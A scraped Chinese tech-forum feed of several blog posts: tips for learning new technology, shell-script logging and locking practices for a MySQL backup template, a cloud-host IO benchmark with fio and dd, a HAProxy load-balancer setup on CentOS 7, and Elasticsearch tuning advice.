学习新技术的10个技巧
我们住在一个非常令人兴奋的时代。 从来没有教育如此便宜地提供给群众（如果不是免费的）。 这种媒介本身从教室设置，博客，截屏和完整的大学课程，作为一组视频和互动论坛做了构造转变。 坐拥如此众多的学习资源，我们没有任何理由不去好好利用。随之而来的问题便是如何在这知识的海洋中选择自己的前进方向。在这篇文章中，我将简要概括一些技术学习的建议，希望可以给你带来一些启发。
** 尽管我的建议主要涉及的是软件开发方面，但是这些原则在其他领域也同样适用。
万事开头难，克服惯性是学习新技术的第一步。举个日常生活中惯性存在的简单例子，当我们看电视的时候会因为遥控器不在身边而懒得换台。幸运的是有很多的小技巧可以调动我们的积极性，帮助我们克服惯性。对于我来说，微习惯是一个很好用的小技巧。与其被手头的任务吓到，不如将任务细分为一个个具体的微任务，然后挑选其中的一个开始做起。就“拿到遥控器”这个例子来说，首先扭动你的脚趾，向前伸出，然后推动整个人离开沙发。下一步，身体滑到地上，用脚拿到遥控器，然后起身。通过完成一个个的微任务，你会发现自己克服了惯性，并且这项任务不再显得难以完成。这个方法可以被应用到学习新技能的过程中。关键就是将大块任务细分为微任务。
把你需要学习的知识做分解，就像我们看出一样，我们通常会去看书目录，通过目录定位到具体的知识内容，而我们学习一门新技术把知识分解，就像写书之前我得先把书的目录定好一样，这样我们就可以有明确的学习方向，各个击破。
学习新技能的第一步是明确要学什么。最初你会有强大的激情，希望把一些学好，这种原始的学习欲望非常重要，这种欲望可以在你的学习低潮期给你提供动力。你想学的或许是一门新的编程语言、应用框架或者是新的工具，一旦你确定了想要的是什么，就立刻去收集相应的优秀群体所做的一些优质的工作成果。这些可以从YouTube、Vimeo、HackerNews、各种博客，甚至是你的微博好友那里获取。关注别人做了些什么可以给你强大的信心，让你觉得这些其实你自己也是可以做到的，增强自己的自信心。
关注大牛不仅仅可以让你感觉到这些东西你也可以做到，同时也可以让你了解最新的技术动态。
当你对自己要学习的东西建立了信心之后，接下来要做的就是做一块海绵，然后开始疯狂地吸收知识。从Google搜索关键词“beginner tutorials”开始吧，搜索一些跟你要学习的知识相关的入门教程。如你所知，Nettuts+上面有成千上百的各种教程供你选择，StackOverflow上面也有很多学习资源。此外，Quora也是一些不错的选择。通过浏览这些网上的资源之后，如果想要集中精力学习某一方面，这时就需要阅读一些相关的书籍了，个人推荐在Amazon上面寻找一些评分较高的专业书籍来提高自己。
在国内你可以通过豆瓣找到评分较高的技术书籍，这样你可以更深入的学习，完善自己的知识脉路和知识点。
随着你对技术的深入挖掘，你可能会想利用更多其他形式的学习资料，比如podcasts，screencasts等等。我的建议是多用 iTunesU，这上面有很多很专业的知识可以让你对于特定的领域进行深入的探索。
目前，有很多的网站都有提供在线教育服务。王婆卖瓜，这里要首推我们自己的Tuts+ Premium。想要学习PHP或者JavaScript？这里有你最需要的资料。另外，你也可以在下面几个网站上找到自己需要的教程：
此外，你也可以看一些免费的会议视频材料，比如YouTube上面的Google IO，以及Confreaks！ 国内的话你可以到实验楼、慕课、极客学院、腾讯课堂等在线视频和学习的网站，去提高自己的技术能力。
现在你已经看了一波又一波的教程以及视频资料，并且对于想学的技术已经有了一个相当深入的了解，接下来做些什么呢？没错，是时候理论联系实际了，实践是检验真理的唯一标准。用你所掌握的技术做一个个人的小项目，设计一些简单的功能并且实现他们。毫无疑问，你会遇到很多的绊脚石，当遇到它们的时候，在StackOverflow或者Google上面搜索之，解决之。你已经踏上一条成为某一领域专家的旅程，遇到的困难挫折越多，你会变得越睿智。有句老话说得好，“专家是犯错最多的人”，这意味着他们尝试了很多疯狂的事情来探索这门技术的极限，最后，对于这门技术是如何运作的就可以知根知底。拥有这种洞察力之后，他们便可以随心所欲的运用这项技术去按照自己的意愿完成想做的事情（当然，是做好的事情）。
在你进行你的探险之旅的时候，实时记录下你的成长以及犯下的错误大有裨益。在技术领域，博客是最简单易得并且受欢迎的表达载体。当你准备落笔的时候，你会强迫自己整理思路，并且对积累下来的零散的知识片段进行结构梳理。说不定，通过互联网的分享，你的经历和分享会给别人的成长带来帮助。如果你想走的更远（比如想像Nettuts+上面的职业作者一样），你也可以制作属于自己的screencasts。总的来说，写博客能够提升你的个人沟通能力，这与你学到的技术同样重要。
社交网络已经广泛应用于人们的日常交流以及发现新鲜事物。Twitter和Facebook是信息的主要来源，与此同时，有很多的网站提供更专注的资讯，如前面提到过的Quora网站，这上面有很多涉及面很广的一些话题供人们评论。在这上面可以找到很多知名大牛的建议以及观点。浏览StackOverflow上面的众多话题是一个很有意思的过程，你可以看到他人如何探索某种技术的极限。事实上，在人们利用技术做一些疯狂的甚至是荒诞的事情的时候，技术也随之不断的成熟起来。因此，如果你想要感受到技术的脉搏，并且想确认它是否值得学下去，在StackOverflow上面试着搜索一些话题，看看这个讨论社区的广度与深度。最值得看的是投票最多以及热门话题。你也可以尝试在GitHub上面进行搜索。
尽管社交网络很棒，但是没有任何事物可以取代面对面的交流。在你住的附近参加一些小组聚会，在这里你可以找到志同道合的伙伴。你可以知道他人在做的一些有趣的项目，同时也可以在他人的帮助下解决一些自己遇到的难题！同样的，技术会议对于分享经验以及增长技术大有帮助！ 技术会议不仅可以增加你的人脉，同事可以可以扩充你对知识的视野，当然也可以让你的知名度更大，让更多的人认识到你是一个大牛。
GitHub是全世界开源项目的标志性建筑物。它是知识以及优质代码的宝库。当你对某项技术自我感觉良好的时候，下一步便是在GitHub中浏览寻找有趣的项目。阅读开源代码，尽可能多的阅读。这样做的话，你能够学到很多东西，比如说：
所有的这些知识都在等待着你去挖掘。有趣的是，这些知识的通过一个简单的标签就可以得到，那就是“好奇心”。
如果你担心上述的学习过程太迟缓，那么你也可以尝试一下快速学习模式。你或许听说过“24小时学会某某某”，但是这种方式不是我所推荐的。我认为更合理的是用几周的时间去学习。你可以尝试一下类似"七周学会七种语言"或者"七周学会七种数据库"等学习方法。尽管这些讲的是语言以及数据库方面的学习，但是你在学习其他技术的时候也可以运用这种思维。
有一个不太相同的学习风格是“困难学习模式”，这种观点的前提是没有人可以真正掌握一门技术，除非每天都练习。所以，想要成为专家，你就需要不停地进行练习。异曲同工的是你可以查看Katas和Koans，他鼓励的使用你学的知识来解决问题。这些可以让你更好地入门以及接受那些陌生的概念，勇敢走出自己的舒适区，开始学习新知识！
学习一门交叉的技能(Learn an Orthogonal Skill)
编程是一项左脑的运动，它利用的是大脑的分析能力，一步一步地寻找解决问题的方法。为了发挥右脑的功能，你可以尝试从事一些创造性的活动，比如说画画、3D建模、折纸、乐器甚至是制作家庭相册等。事实上，编程同样需要大量的创造力。或许你曾经遇到过类似的事情，你在睡梦中找到了问题的解决方案。这是因为你的右脑处理问题的方式很不同，它可以从各种地方获得信息。敏捷开发权威人士Andy Hunt就这个话题写了一本书《程序员的思维修炼》。如果你想点燃你的每一个神经元，建议你开始学习一门交叉的技能。
获得新的技能总是令人兴奋。 这是一个新的经验的开始，将塑造你的思维。 但首先，你必须克服你的惯性。 一旦你这样做，你的旅程从网络的每个方面吸收知识开始。 我希望上面介绍的过程为你走过这条漫长的道路提供了一些想法。
收起阅读 »
** 尽管我的建议主要涉及的是软件开发方面，但是这些原则在其他领域也同样适用。
1、克服惯性(Overcoming Inertia)
万事开头难，克服惯性是学习新技术的第一步。举个日常生活中惯性存在的简单例子，当我们看电视的时候会因为遥控器不在身边而懒得换台。幸运的是有很多的小技巧可以调动我们的积极性，帮助我们克服惯性。对于我来说，微习惯是一个很好用的小技巧。与其被手头的任务吓到，不如将任务细分为一个个具体的微任务，然后挑选其中的一个开始做起。就“拿到遥控器”这个例子来说，首先扭动你的脚趾，向前伸出，然后推动整个人离开沙发。下一步，身体滑到地上，用脚拿到遥控器，然后起身。通过完成一个个的微任务，你会发现自己克服了惯性，并且这项任务不再显得难以完成。这个方法可以被应用到学习新技能的过程中。关键就是将大块任务细分为微任务。
把你需要学习的知识做分解，就像我们看出一样，我们通常会去看书目录，通过目录定位到具体的知识内容，而我们学习一门新技术把知识分解，就像写书之前我得先把书的目录定好一样，这样我们就可以有明确的学习方向，各个击破。
2、关注大牛(Watch the Pros)
学习新技能的第一步是明确要学什么。最初你会有强大的激情，希望把一些学好，这种原始的学习欲望非常重要，这种欲望可以在你的学习低潮期给你提供动力。你想学的或许是一门新的编程语言、应用框架或者是新的工具，一旦你确定了想要的是什么，就立刻去收集相应的优秀群体所做的一些优质的工作成果。这些可以从YouTube、Vimeo、HackerNews、各种博客，甚至是你的微博好友那里获取。关注别人做了些什么可以给你强大的信心，让你觉得这些其实你自己也是可以做到的，增强自己的自信心。
关注大牛不仅仅可以让你感觉到这些东西你也可以做到，同时也可以让你了解最新的技术动态。
3、 建立知识网(Let the Information Flow Begin)
当你对自己要学习的东西建立了信心之后，接下来要做的就是做一块海绵，然后开始疯狂地吸收知识。从Google搜索关键词“beginner tutorials”开始吧，搜索一些跟你要学习的知识相关的入门教程。如你所知，Nettuts+上面有成千上百的各种教程供你选择，StackOverflow上面也有很多学习资源。此外，Quora也是一些不错的选择。通过浏览这些网上的资源之后，如果想要集中精力学习某一方面，这时就需要阅读一些相关的书籍了，个人推荐在Amazon上面寻找一些评分较高的专业书籍来提高自己。
在国内你可以通过豆瓣找到评分较高的技术书籍，这样你可以更深入的学习，完善自己的知识脉路和知识点。
4、多听多看(Listen and Watch)
随着你对技术的深入挖掘，你可能会想利用更多其他形式的学习资料，比如podcasts，screencasts等等。我的建议是多用 iTunesU，这上面有很多很专业的知识可以让你对于特定的领域进行深入的探索。
目前，有很多的网站都有提供在线教育服务。王婆卖瓜，这里要首推我们自己的Tuts+ Premium。想要学习PHP或者JavaScript？这里有你最需要的资料。另外，你也可以在下面几个网站上找到自己需要的教程：
此外，你也可以看一些免费的会议视频材料，比如YouTube上面的Google IO，以及Confreaks！ 国内的话你可以到实验楼、慕课、极客学院、腾讯课堂等在线视频和学习的网站，去提高自己的技术能力。
5、行动起来(Time for Action)
6、写博客(Blogging)
7、感知技术动向(Feel the Pulse)
8、 参加聚会以及会议(Meetups and Conferences)
9、常逛GitHub
- 如何管理规模较大的项目
- 项目中应用的有趣的库
- 代码规范以及代码全局设计
- 文档风格
- 测试规范
- 解决诡异问题的方法，以及发现项目中有问题的地方
所有的这些知识都在等待着你去挖掘。有趣的是，这些知识的通过一个简单的标签就可以得到，那就是“好奇心”。
10. 专注学习(Concentrated Learning)
如果你担心上述的学习过程太迟缓，那么你也可以尝试一下快速学习模式。你或许听说过“24小时学会某某某”，但是这种方式不是我所推荐的。我认为更合理的是用几周的时间去学习。你可以尝试一下类似"七周学会七种语言"或者"七周学会七种数据库"等学习方法。尽管这些讲的是语言以及数据库方面的学习，但是你在学习其他技术的时候也可以运用这种思维。
有一个不太相同的学习风格是“困难学习模式”，这种观点的前提是没有人可以真正掌握一门技术，除非每天都练习。所以，想要成为专家，你就需要不停地进行练习。异曲同工的是你可以查看Katas和Koans，他鼓励的使用你学的知识来解决问题。这些可以让你更好地入门以及接受那些陌生的概念，勇敢走出自己的舒适区，开始学习新知识！
学习一门交叉的技能(Learn an Orthogonal Skill)
编程是一项左脑的运动，它利用的是大脑的分析能力，一步一步地寻找解决问题的方法。为了发挥右脑的功能，你可以尝试从事一些创造性的活动，比如说画画、3D建模、折纸、乐器甚至是制作家庭相册等。事实上，编程同样需要大量的创造力。或许你曾经遇到过类似的事情，你在睡梦中找到了问题的解决方案。这是因为你的右脑处理问题的方式很不同，它可以从各种地方获得信息。敏捷开发权威人士Andy Hunt就这个话题写了一本书《程序员的思维修炼》。如果你想点燃你的每一个神经元，建议你开始学习一门交叉的技能。
总结
获得新的技能总是令人兴奋。 这是一个新的经验的开始，将塑造你的思维。 但首先，你必须克服你的惯性。 一旦你这样做，你的旅程从网络的每个方面吸收知识开始。 我希望上面介绍的过程为你走过这条漫长的道路提供了一些想法。
作者：Pavan Podila
英文地址：https://code.tutsplus.com/articles/10-tips-for-learning-a-new-technology--net-31631
收起阅读 »
运维如何写出不耍流氓的Shell脚本
声明
大家都是文明人，尤其是做运维的，那叫一个斯文啊。怎么能耍流氓呢？赶紧看看，编写 SHELL 脚本如何能够不耍流氓。
MySQL备份脚本案例
1、不记录日志的shell 脚本就是耍流氓！
我们经常在工作中会遇到一个苦恼的事情，一个 Shell 脚本到底干了什么，什么时候开始执行，什么时候结束的。尤其是数据库备份，我们想知道我们的 MySQL 数据库备份时间。所以给脚本加日志显得尤为重要。那么我们的脚本应该有一个日志的函数，专门用于记录日志：
#!/bin/bash
# Shell Env
SHELL_NAME="shell_template.sh"
SHELL_DIR="/opt/shell"
SHELL_LOG="${SHELL_DIR}/${SHELL_NAME}.log"
LOCK_FILE="/tmp/${SHELL_NAME}.lock"
#Write Log
shell_log(){
LOG_INFO=$1
echo "$(date "+%Y-%m-%d") $(date "+%H-%M-%S") : ${SHELL_NAME} : ${LOG_INFO}" >> ${SHELL_LOG}
}
shell_log "shell beginning, Write log test"
shell_log "shell success, Write log test"
上面的脚本我编写了一个日志函数shell_log，每次记录日志，我们直接执行shell_log把日志内容当作第一个参数传给它就可以了，赶紧试试。
[root@labs shell]# cat shell_template.sh.log
2016-08-27 06-01-19 : shell_template.sh :shell beginning ,write log test
2016-08-27 06-01-19 : shell_template.sh :shell success ,write log test
2、直接就能执行的Shell脚本很容易耍流氓
一个脚本直接就能执行？难道不是直接就能执行吗？试想，你临时编写了一个特别重要的脚本，干的事情可能有破坏性，一不小心被别人./执行了怎么办呢？而且很多时候我们一个脚本的功能可能有多个，所以我们有必要让用户可以选择进行执行。
#!/bin/bash
# Shell Env
SHELL_NAME="shell_template.sh"
SHELL_DIR="/opt/shell"
SHELL_LOG="${SHELL_DIR}/${SHELL_NAME}.log"
LOCK_FILE="/tmp/${SHELL_NAME}.lock"
#Write Log
shell_log(){
LOG_INFO=$1
echo "$(date "+%Y-%m-%d") $(date "+%H-%M-%S") : ${SHELL_NAME} : ${LOG_INFO}" >> ${SHELL_LOG}
}
# Shell Usage
shell_usage(){
echo $"Usage: $0 {backup}"
}
# Backup MySQL All Database with mysqldump or innobackupex
mysql_backup(){
shell_log "mysql backup start"
shell_log "mysql backup stop"
}
# Main Function
main(){
case $1 in
backup)
mysql_backup
;;
*)
shell_usage;
esac
}
#Exec
main $1
上面的脚本我们编写了shell_usage函数，用来告诉用户，这个脚本的使用方法。同时，我要强调一下，像编写Shell, 我们经常是面向过程的，建议以函数为单位，这样脚本非常的清晰可读。赶紧执行以下看看效果吧。
[root@labs shell]# ./shell_template.sh
Usage: ./shell_template.sh {backup}
3、不加锁的Shell脚本就是让别人耍流氓
你编写的脚本能多个人同时执行吗？如果不能，那么如果多个人一起执行会怎么样呢？想想是不是有点冒冷汗。所以，不要给我们的其它小伙伴留下陷阱。不过如果你公司就你一个运维，真的不用怕吗？试想如果是定时任务再运行这个脚本，上一次没有运行完毕，然后到时间又运行了？然后，然后，然后，后果好可怕。
#!/bin/bash
# Shell Env
SHELL_NAME="shell_template.sh"
SHELL_DIR="/opt/shell"
SHELL_LOG="${SHELL_DIR}/${SHELL_NAME}.log"
LOCK_FILE="/tmp/${SHELL_NAME}.lock"
#Write Log
shell_log(){
LOG_INFO=$1
echo "$(date "+%Y-%m-%d") $(date "+%H-%M-%S") : ${SHELL_NAME} : ${LOG_INFO}" >> ${SHELL_LOG}
}
# Shell Usage
shell_usage(){
echo $"Usage: $0 {backup}"
}
shell_lock(){
touch ${LOCK_FILE}
}
shell_unlock(){
rm -f ${LOCK_FILE}
}
# Backup MySQL All Database with mysqldump or innobackupex
mysql_backup(){
if [ -f "$LOCK_FILE" ];then
shell_log "${SHELL_NAME} is running"
echo "${SHELL_NAME}" is running && exit
fi
shell_log "mysql backup start"
shell_lock
sleep 10
shell_log "mysql backup stop"
shell_unlock
}
# Main Function
main(){
case $1 in
backup)
mysql_backup
;;
*)
shell_usage;
esac
}
#Exec
main $1
我为脚本增加了两个函数shell_lock和shell_unlock非常简单，就是创建一个锁文件。然后再执行的时候先判断锁文件是否存在，如果存在说明有其它用户在执行，就退出。如果没有自己创建锁文件，开始执行，执行完毕删除锁文件。
好的，现在你可以赶紧再开一个窗口试试能不能执行这个脚本，或者到/tmp目录下看看是否创建了锁文件。请注意：如果已知的异常退出，一定也要删除这个锁文件。
一般创建锁文件放到/var/lock/subsys/目录下，比如postfix的锁文件就是：
prog="postfix"
lockfile=/var/lock/subsys/$prog
做好事须留名
对于一个功能脚本来说，貌似还少了点什么。对，就是注释！我们要说明白这个脚本是干啥的。或者以后你离职后，别人看到这个脚本之后，我擦，这么牛掰的脚本是谁写的呢？不要怕，写上你的大名。
#######################################################
# $Name: shell_template.sh
# $Version: v1.0
# $Function: Backup MySQL Databases Template Script
# $Author: Jason Zhao
# $organization: https://www.baidu.com
# $Create Date: 2016-08-27
# $Description: You know what i mean,hehe
#######################################################
当然还有很多编写脚本的技巧，没法一一描述，不过如果能掌握上面的三种技巧，立马感觉编写的脚本有点高大上，有木有？
收起阅读 »
云主机IO性能测试报告
不同厂商的云主机在性能、设计、操作方面都存在很大的差异化。
1、阿里云 -- 地主黑势力
阿里的包月包年捆绑式销售，创建完成后你不能及时删除释放主机，只能默默的等到期了，记得我第一次使用阿里云的时候，一口气开了10台云主机，后面我发现我不需要这么多，预算出错，但是阿里告诉我的是你人生中只有一次反悔的机会，我只能删掉一台主机。
其他的主机我只能等他默认到期了，如果实在没有多大作用我只能浪费我的银两，然后阿里坐收消费，我就当打赏王坚一个小红包了。
2、Ucloud -- 清廉百姓官
Ucloud的业务是我最喜欢的，尤其是喜欢他们的服务和UI设计。在国内做市场，我想你最应该的是调研国内技术人员的操作习惯，然后把云产品的使用达到极简、易使用，而不是黑灯找芝麻。在我的心理Ucloud是国内在云主机的操作和体验上给我的感受是最佳的。 还有就是他们的服务，他们可以一对一的帮你解决问题，耐心的解答，没有阿里那财大气粗的蛮横，不会绑架你。
3、Azure -- 没长齐毛的鸟
为什么我说Azure是没有长齐毛的鸟，因为他的产品设计还没有完善，操作困难，可能Azure还没有大力投入做中国市场吧，好多功能都依赖于PowerShell去完成操作，比如挂盘、弹性公网ip的绑定申请等，我想说的是我是个运维，脑子里面记了一大堆命令，我使用你们产品，挂个盘你还得让我去记一大堆命令和规则，我疯了。so.......
我使用过Ucloud、阿里云、Azure、Google云、AWS等诸多厂商的云产品服务，具体的其他功能我就不一一对比，下面我就介绍一下，我最近做的IO测试几家厂商的报告。
测试命令如下：
测试结果如下：
上面分别是Ucloud、阿里、Azure、谷歌云的IO测试结果。
测试命令如下：
测试结果如下：
废话不多说，以上的测试结果仅供大家参考，新时代的云运维者，必须要有语言基础了，没有语言基础，就算Ucloud的操作再怎么人性化，你也不能自动化，所以从云时代的趋势来看作为运维者掌握一门语言还是很有必要的了。云平台有很多坑，在没有充分了解厂商的情况下，你会发现云时代的运维更难。 收起阅读 »
吐槽云商
1、阿里云 -- 地主黑势力
阿里的包月包年捆绑式销售，创建完成后你不能及时删除释放主机，只能默默的等到期了，记得我第一次使用阿里云的时候，一口气开了10台云主机，后面我发现我不需要这么多，预算出错，但是阿里告诉我的是你人生中只有一次反悔的机会，我只能删掉一台主机。
其他的主机我只能等他默认到期了，如果实在没有多大作用我只能浪费我的银两，然后阿里坐收消费，我就当打赏王坚一个小红包了。
2、Ucloud -- 清廉百姓官
Ucloud的业务是我最喜欢的，尤其是喜欢他们的服务和UI设计。在国内做市场，我想你最应该的是调研国内技术人员的操作习惯，然后把云产品的使用达到极简、易使用，而不是黑灯找芝麻。在我的心理Ucloud是国内在云主机的操作和体验上给我的感受是最佳的。 还有就是他们的服务，他们可以一对一的帮你解决问题，耐心的解答，没有阿里那财大气粗的蛮横，不会绑架你。
3、Azure -- 没长齐毛的鸟
为什么我说Azure是没有长齐毛的鸟，因为他的产品设计还没有完善，操作困难，可能Azure还没有大力投入做中国市场吧，好多功能都依赖于PowerShell去完成操作，比如挂盘、弹性公网ip的绑定申请等，我想说的是我是个运维，脑子里面记了一大堆命令，我使用你们产品，挂个盘你还得让我去记一大堆命令和规则，我疯了。so.......
我使用过Ucloud、阿里云、Azure、Google云、AWS等诸多厂商的云产品服务，具体的其他功能我就不一一对比，下面我就介绍一下，我最近做的IO测试几家厂商的报告。
IO测试
测试命令如下：
fio -filename=/data/test.out1 -direct=1 -rw=read -bs=4k -size=10g -numjobs=4 -runtime=1200 -group_reporting -name=test1
fio -filename=/data/test.out2 -direct=1 -rw=write -bs=4k -size=10g -numjobs=4 -runtime=1200 -group_reporting -name=test2
fio -filename=/data/test.out3 -direct=1 -rw=randread -bs=4k -size=10g -numjobs=4 -runtime=1200 -group_reporting -name=test3
fio -filename=/data/test.out4 -direct=1 -rw=randwrite -bs=4k -size=10g -numjobs=4 -runtime=1200 -group_reporting -name=test4
测试结果如下：
上面分别是Ucloud、阿里、Azure、谷歌云的IO测试结果。
速率测试
测试命令如下：
dd iflag=direct /dev/null bs=16k count=102400
dd oflag=direct /data/test2 bs=16k count=102400
测试结果如下：
总结
废话不多说，以上的测试结果仅供大家参考，新时代的云运维者，必须要有语言基础了，没有语言基础，就算Ucloud的操作再怎么人性化，你也不能自动化，所以从云时代的趋势来看作为运维者掌握一门语言还是很有必要的了。云平台有很多坑，在没有充分了解厂商的情况下，你会发现云时代的运维更难。 收起阅读 »
Centos7下使用Harpoxy负载均衡Apache
什么是HAProxy
HAProxy是一个免费的,快速和可靠的解决方案提供高可用性、负载均衡,并为TCP代理和基于http的应用程序。特别适合高流量网站和高并发网站。
环境说明
操作系统：Centos 7
主机分布：1 haproxy server, 3 client
IP & Hostname ：
192.168.0.50 server.rootworld.in
192.168.0.51 web1.rootworld.in
192.168.0.52 web2.rootworld.in
192.168.0.53 web3.rootworld.in
1、在客户端机器上安装web服务器
WEB1
[root@web1 ~]# yum install httpd -y
[root@web1 ~]# systemctl enable httpd.service
[root@web1 ~]# systemctl start httpd.service
WEB2
[root@web2 ~]# yum install httpd -y
[root@web2 ~]# systemctl enable httpd.service
[root@web2 ~]# systemctl start httpd.service
WEB3
[root@web3 ~]# yum install httpd -y
[root@web3 ~]# systemctl enable httpd.service
[root@web3 ~]# systemctl start httpd.service
2、检查您的web服务器工作正常。
3、安装HAProxy Server.
[root@server ~]# yum install haproxy openssl-devel -y 4、配置HAPorxy的主配置文件/etc/haproxy/haproxy.cfg，修改log日志位置
[root@server ~]# vim /etc/haproxy/haproxy.cfg 
5、配置启动UDP syslog reception 在/etc/rsyslog.conf配置文件中，并且把Haproxy日志单独放到/var/log目录下。
[root@server ~]# vim /etc/rsyslog.conf
$ModLoad imudp
$UDPServerRun 514
6、在/etc/rsyslog.d/目录下配置haproxy.conf文件配置单独的log文件
[root@server ~]# vim /etc/rsyslog.d/haproxy.conf
local2.* /var/log/haproxy.log
7、重启syslog服务，更新配置
[root@server ~]# service rsyslog restart8、按照需求配置/etc/haproxy/haproxy.cfg文件
[root@server ~]# vim /etc/haproxy/haproxy.cfg9、为均衡器在/etc/haproxy/haproxy.cfg配置前端和后端
# Configuration for HTTP site
listen server 192.168.0.50:80
bind *:80
default_backend LBbackend
backend LBbackend
mode http
server web1 192.168.0.51:80 check
server web1 192.168.0.52:80 check
server web1 192.168.0.53:80 check
stats enable
stats hide-version
stats uri /stats
stats realm Haproxy\ Statistics
stats auth admin:redhat
balance roundrobin
option httpchk
option httpclose
option forwardfor
cookie LB insert
10、重启HAProxy服务并启用
[root@server ~]# systemctl enable haproxy.service
[root@server ~]# systemctl restart haproxy.service
[root@server ~]# systemctl status haproxy.service
11、验证HAProxy负载均衡器
http://192.168.0.50/
12、打开HAProxy监控服务面板
http://192.168.0.50/stats
关于Elasticsearch性能优化几个点
Elasticsearch简述
ElasticSearch是现在技术前沿的大数据引擎，常见的组合有ES+Logstash+Kibana作为一套成熟的日志系统，其中Logstash是ETL工具，Kibana是数据分析展示平台。Elasticsearch让人惊艳的是他强大的搜索相关能力和灾备策略，Elastcisearch开放了一些接口供开发者研发自己的插件，Elasticsearch结合中文分词的插件会给Elasticsearch的搜索和分析起到很大的推动作用。ElasticSearch是使用开源全文检索库Apache Lucene进行索引和搜索的，所以Elasticsearch底层是依赖的Lucene。
关于Lucene：
Apache Lucene将写入索引的所有信息组织成一种倒排索引（Inverted Index）的结构之中，该结构是种将词项映射到文档的数据结构。其工作方式与传统的关系数据库不同，大致来说倒排索引是面向词项而不是面向文档的。且Lucene索引之中还存储了很多其他的信息，如词向量等等，每个Lucene都是由多个段构成的，每个段只会被创建一次但会被查询多次，段一旦创建就不会再被修改。多个段会在段合并的阶段合并在一起，何时合并由Lucene的内在机制决定，段合并后数量会变少，但是相应的段本身会变大。段合并的过程是非常消耗I/O的，且与之同时会有些不再使用的信息被清理掉。在Lucene中，将数据转化为倒排索引，将完整串转化为可用于搜索的词项的过程叫做分析。文本分析由分析器（Analyzer）来执行，分析其由分词器（Tokenizer），过滤器（Filter）和字符映射器（Character Mapper）组成，其各个功能显而易见。除此之外，Lucene有自己的一套完整的查询语言来帮助我们进行搜索和读写。
*注：Elasticsearch中的索引指的是查询/寻址时URI中的一个字段如：[host]：[port（9200）]/[index]/[type]/[ID]?[option]，而Lucene中的索引更多地和ES中的分片的概念相对应。
Elasticsearch架构设计理念特性如下：
- 合理的默认配置：只需修改节点中的Yaml配置文件，就可以快速配置。这和Spring4中对配置的简化有相似的地方。
- 分布式工作模式：Elasticsearch强大的Zen发现机制不仅支持组广播也支持点单播，且有“知一点即知天下”之妙。
- 对等架构：节点之间自动备份分片，且使分片本身和样本之间尽量”远离“，可以避免单点故障。且Master节点和Data节点几乎完全等价。
- 易于向集群扩充新节点：大大简化研发或运维将新节点加入集群所需的工作。
- 不对索引中的数据结构增加任何限制：ES支持在一个索引之中存在多种数据类型。
- 准实时：搜索和版本同步，由于ES是分布式应用，一个重大的挑战就是一致性问题，无论索引还是文档数据，然而事实证明ES表现优秀。
分片策略
选择合适的分片数和副本数：
ES的分片分为两种，主分片（Primary Shard）和副本（Replicas）。默认情况下，ES会为每个索引创建5个分片，即使是在单机环境下，这种冗余被称作过度分配（Over Allocation），目前看来这么做完全没有必要，仅在散布文档到分片和处理查询的过程中就增加了更多的复杂性，好在ES的优秀性能掩盖了这一点。假设一个索引由一个分片构成，那么当索引的大小超过单个节点的容量的时候，ES不能将索引分割成多份，因此必须在创建索引的时候就指定好需要的分片数量。此时我们所能做的就是创建一个新的索引，并在初始设定之中指定这个索引拥有更多的分片。反之如果过度分配，就增大了Lucene在合并分片查询结果时的复杂度，从而增大了耗时，所以我们得到了以下结论： 我们应该使用最少的分片！
主分片，副本和节点最大数之间数量存在以下关系：
节点数 <= 主分片数 *（副本数+1） NodeNum <= PNum * ( Rnum + 1 )这个关系，其实就是保持最好一个数据节点，最好保存一个索引的一个分片（不管主副）。
控制分片分配行为：
以上是在创建每个索引的时候需要考虑的优化方法，然而在索引已创建好的前提下，是否就是没有办法从分片的角度提高了性能了呢？当然不是，首先能做的是调整分片分配器的类型，具体是在elasticsearch.yml中设置cluster.routing.allocation.type属性，共有两种分片器even_shard,balanced（默认）。even_shard是尽量保证每个节点都具有相同数量的分片，balanced是基于可控制的权重进行分配，相对于前一个分配器，它更暴漏了一些参数而引入调整分配过程的能力。
每次ES的分片调整都是在ES上的数据分布发生了变化的时候进行的，最有代表性的就是有新的数据节点加入了集群的时候。当然调整分片的时机并不是由某个阈值触发的，ES内置十一个裁决者来决定是否触发分片调整，这里暂不赘述。另外，这些分配部署策略都是可以在运行时更新的，更多配置分片的属性也请大家自行Google。
路由优化
ES中所谓的路由和IP网络不同，是一个类似于Tag的东西。在创建文档的时候，可以通过字段为文档增加一个路由属性的Tag。ES内在机制决定了拥有相同路由属性的文档，一定会被分配到同一个分片上，无论是主分片还是副本。那么，在查询的过程中，一旦指定了感兴趣的路由属性，ES就可以直接到相应的分片所在的机器上进行搜索，而避免了复杂的分布式协同的一些工作，从而提升了ES的性能。于此同时，假设机器1上存有路由属性A的文档，机器2上存有路由属性为B的文档，那么我在查询的时候一旦指定目标路由属性为A，即使机器2故障瘫痪，对机器1构不成很大影响，所以这么做对灾况下的查询也提出了解决方案。所谓的路由，本质上是一个分桶（Bucketing）操作。当然，查询中也可以指定多个路由属性，机制大同小异。
Elasticsearch GC调优
ElasticSearch本质上是个Java程序，所以配置JVM垃圾回收器本身也是一个很有意义的工作。我们使用JVM的Xms和Xmx参数来提供指定内存大小，本质上提供的是JVM的堆空间大小，当JVM的堆空间不足的时候就会触发致命的OutOfMemoryException。这意味着要么内存不足，要么出现了内存泄露。处理GC问题，首先要确定问题的源头，一般有三种方案：
- 开启ElasticSearch上的GC日志
- 使用jstat命令
- 生成内存Dump
第一条，在ES的配置文件elasticsearch.yml中有相关的属性可以配置，关于每个属性的用途这里当然说不完。
第二条，jstat命令可以帮助我们查看JVM堆中各个区的使用情况和GC的耗时情况。
第三条，最后的办法就是将JVM的堆空间转储到文件中去，实质上是对JVM堆空间的一个快照。
想了解更多关于JVM本身GC调优方法请参考：http://www.oracle.com/technetwork/java/javase/gc-tuning-6-140523.html
另外，通过修改ES节点的启动参数，也可以调整GC的方式，但是实质上和上述方法是等同的。
避免内存交换
这一点很简单，由于操作系统的虚拟内存页交换机制，会给性能带来障碍，如数据写满内存会写入Linux中的Swap分区。
可以通过在elasticsearch.yml文件中的bootstrap.mlockall设置为true来实现，但是需要管理员权限，需要修改操作系统的相关配置文件。
控制索引合并
上文提到过，ES中的分片和副本本质上都是Lucene索引，而Lucene索引又基于多个索引段构建（至少一个），索引文件中的绝大多数都是只被写一次，读多次，在Lucene内在机制控制下，当满足某种条件的时候多个索引段会被合并到一个更大的索引段，而那些旧的索引段会被抛弃并移除磁盘，这个操作叫做段合并。
